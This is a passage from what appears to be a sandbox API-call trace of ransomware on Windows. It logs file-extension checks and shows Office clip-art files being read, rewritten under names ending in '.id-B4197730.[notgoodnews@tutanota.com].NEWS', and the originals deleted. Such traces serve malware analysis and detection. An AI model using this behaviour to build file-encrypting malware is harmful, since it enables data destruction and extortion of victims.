lpString2=".WMF") returned -1 [0190.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.379] lstrlenW (lpString=".1cd") returned 4 [0190.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.379] lstrlenW (lpString=".jpg") returned 4 [0190.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.379] lstrlenW (lpString=".id-") returned 4 [0190.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d0d8 | out: hHeap=0x420000) returned 1 [0190.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bdb98 | out: hHeap=0x420000) returned 1 [0190.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3840b40 | out: hHeap=0x420000) returned 1 [0190.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3850b48 | out: hHeap=0x420000) returned 1 [0190.380] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3a40020 | out: hHeap=0x420000) returned 1 [0190.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d0c0 | out: hHeap=0x420000) returned 1 [0190.385] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089048 [0190.385] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089048, Size=0x20) returned 0x408dd08 [0190.385] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089240 [0190.385] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089240, Size=0x20) returned 0x408df88 [0190.385] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.385] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.385] Wow64DisableWow64FsRedirection (in: OldValue=0x2e5ff50 | out: OldValue=0x2e5ff50*=0x1) returned 1 [0190.385] lstrlenW (lpString="kernel32.dll") returned 12 [0190.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408df88 | out: hHeap=0x420000) returned 1 [0190.385] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dd08 | out: hHeap=0x420000) returned 1 Thread: id = 42 os_tid = 0xdf0 [0156.901] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3861430 [0156.902] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3871438 [0156.902] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d0f0 [0156.902] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bda58 [0156.902] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d108 [0156.902] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3b52020 [0156.905] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d120 [0156.905] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d120, Size=0x20) returned 0x45f300 [0156.905] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47d120 [0156.905] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47d120, Size=0x20) returned 0x45f350 [0156.905] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0156.905] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0156.906] Wow64DisableWow64FsRedirection (in: OldValue=0x2f9ff50 | out: OldValue=0x2f9ff50*=0x0) returned 1 [0156.906] lstrlenW (lpString="kernel32.dll") returned 12 [0156.906] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f300 | out: hHeap=0x420000) returned 1 [0156.906] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0156.906] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f350 | out: hHeap=0x420000) returned 1 [0156.906] Sleep (dwMilliseconds=0x64) [0157.154] Sleep (dwMilliseconds=0x64) [0157.454] Sleep (dwMilliseconds=0x64) [0157.636] Sleep (dwMilliseconds=0x64) [0157.845] Sleep (dwMilliseconds=0x64) [0158.010] Sleep (dwMilliseconds=0x64) [0158.285] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0158.285] lstrlenW (lpString="boxed-join.avi") returned 14 [0158.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0158.321] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=46622) returned 1 [0158.321] CloseHandle (hObject=0x3b8) returned 1 [0158.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0158.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.595] lstrlenW (lpString=".doc") returned 4 [0158.595] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.595] lstrlenW (lpString=".docx") returned 5 [0158.595] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0158.595] lstrlenW (lpString=".pdf") returned 4 [0158.595] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.595] lstrlenW (lpString=".xls") returned 4 [0158.595] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.595] lstrlenW (lpString=".xlsx") returned 5 [0158.595] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0158.596] lstrlenW (lpString=".ppt") returned 4 [0158.596] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.596] lstrlenW (lpString=".zip") returned 4 [0158.596] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.596] lstrlenW (lpString=".rar") returned 4 [0158.596] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.596] lstrlenW (lpString=".bz2") returned 4 [0158.596] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.596] lstrlenW (lpString=".7z") returned 3 [0158.596] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.596] lstrlenW (lpString=".dbf") returned 4 [0158.596] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.596] lstrlenW (lpString=".1cd") returned 4 [0158.596] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.596] lstrlenW (lpString=".jpg") returned 4 [0158.596] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.596] lstrlenW (lpString=".doc") returned 4 [0158.596] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0158.596] lstrlenW (lpString=".docx") returned 5 [0158.596] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0158.596] lstrlenW (lpString=".pdf") returned 4 [0158.596] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0158.597] lstrlenW (lpString=".xls") returned 4 [0158.597] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0158.597] lstrlenW (lpString=".xlsx") returned 5 [0158.597] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0158.597] lstrlenW (lpString=".ppt") returned 4 [0158.597] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0158.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.597] lstrlenW (lpString=".zip") returned 4 [0158.597] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0158.597] lstrlenW (lpString=".rar") returned 4 [0158.597] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0158.597] lstrlenW (lpString=".bz2") returned 4 [0158.597] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0158.597] lstrlenW (lpString=".7z") returned 3 [0158.597] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0158.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.597] lstrlenW (lpString=".dbf") returned 4 [0158.597] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0158.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.597] lstrlenW (lpString=".1cd") returned 4 [0158.597] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0158.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0158.597] lstrlenW (lpString=".jpg") returned 4 [0158.597] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0158.598] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0158.598] lstrlenW (lpString="ipscht.xml") returned 10 [0158.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0158.854] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2436) returned 1 [0158.854] CloseHandle (hObject=0x3f8) returned 1 [0158.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0158.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.879] lstrlenW (lpString=".doc") returned 4 [0158.879] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.879] lstrlenW (lpString=".docx") returned 5 [0158.879] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0158.879] lstrlenW (lpString=".pdf") returned 4 [0158.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.879] lstrlenW (lpString=".xls") returned 4 [0158.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.879] lstrlenW (lpString=".xlsx") returned 5 [0158.879] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0158.880] lstrlenW (lpString=".ppt") returned 4 [0158.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.880] lstrlenW (lpString=".zip") returned 4 [0158.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.880] lstrlenW (lpString=".rar") returned 4 [0158.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString=".bz2") returned 4 [0158.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString=".7z") returned 3 [0158.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.880] lstrlenW (lpString=".dbf") returned 4 [0158.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.880] lstrlenW (lpString=".1cd") returned 4 [0158.880] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.880] lstrlenW (lpString=".jpg") returned 4 [0158.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.880] lstrlenW (lpString=".doc") returned 4 [0158.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString=".docx") returned 5 [0158.880] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0158.880] lstrlenW (lpString=".pdf") returned 4 [0158.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString=".xls") returned 4 [0158.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString=".xlsx") returned 5 [0158.880] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0158.880] lstrlenW (lpString=".ppt") returned 4 [0158.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0158.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.881] lstrlenW (lpString=".zip") returned 4 [0158.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0158.881] lstrlenW (lpString=".rar") returned 4 [0158.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0158.881] lstrlenW (lpString=".bz2") returned 4 [0158.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0158.881] lstrlenW (lpString=".7z") returned 3 [0158.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0158.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.881] lstrlenW (lpString=".dbf") returned 4 [0158.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0158.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.881] lstrlenW (lpString=".1cd") returned 4 [0158.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0158.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0158.881] lstrlenW (lpString=".jpg") returned 4 [0158.881] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0158.881] Sleep (dwMilliseconds=0x64) [0159.047] Sleep (dwMilliseconds=0x64) [0159.382] Sleep (dwMilliseconds=0x64) [0159.807] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0159.807] lstrlenW (lpString="HH01291_.WMF") returned 12 [0159.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.192] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=15806) returned 1 [0160.192] CloseHandle (hObject=0x474) returned 1 [0160.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0160.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.193] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.193] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0160.199] GetLastError () returned 0x0 [0160.199] ReadFile (in: hFile=0x474, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0160.216] WriteFile (in: hFile=0x478, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0160.217] ReadFile (in: hFile=0x474, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.217] WriteFile (in: hFile=0x478, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.217] SetEndOfFile (hFile=0x478) returned 1 [0160.217] CloseHandle (hObject=0x478) returned 1 [0160.217] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.217] SetEndOfFile (hFile=0x474) returned 1 [0160.220] CloseHandle (hObject=0x474) returned 1 [0160.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0160.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0160.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.222] lstrlenW (lpString=".doc") returned 4 [0160.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.222] lstrlenW (lpString=".docx") returned 5 [0160.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.222] lstrlenW (lpString=".pdf") returned 4 [0160.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.222] lstrlenW (lpString=".xls") returned 4 [0160.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.222] lstrlenW (lpString=".xlsx") returned 5 [0160.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.222] lstrlenW (lpString=".ppt") returned 4 [0160.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.222] lstrlenW (lpString=".zip") returned 4 [0160.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.222] lstrlenW (lpString=".rar") returned 4 [0160.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.222] lstrlenW (lpString=".bz2") returned 4 [0160.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.222] lstrlenW (lpString=".7z") returned 3 [0160.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.222] lstrlenW (lpString=".dbf") returned 4 [0160.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.222] lstrlenW (lpString=".1cd") returned 4 [0160.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.222] lstrlenW (lpString=".jpg") returned 4 [0160.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.223] lstrlenW (lpString=".doc") returned 4 [0160.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.223] lstrlenW (lpString=".docx") returned 5 [0160.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.223] lstrlenW (lpString=".pdf") returned 4 [0160.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.223] lstrlenW (lpString=".xls") returned 4 [0160.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.223] lstrlenW (lpString=".xlsx") returned 5 [0160.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.223] lstrlenW (lpString=".ppt") returned 4 [0160.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.223] lstrlenW (lpString=".zip") returned 4 [0160.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.223] lstrlenW (lpString=".rar") returned 4 [0160.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.223] lstrlenW (lpString=".bz2") returned 4 [0160.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.223] lstrlenW (lpString=".7z") returned 3 [0160.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.223] lstrlenW (lpString=".dbf") returned 4 [0160.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.223] lstrlenW (lpString=".1cd") returned 4 [0160.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0160.223] lstrlenW (lpString=".jpg") returned 4 [0160.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.223] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0160.223] lstrlenW (lpString="HH01461_.WMF") returned 12 [0160.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.224] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5958) returned 1 [0160.224] CloseHandle (hObject=0x474) returned 1 [0160.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0160.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.225] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.225] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.225] CreateFileW 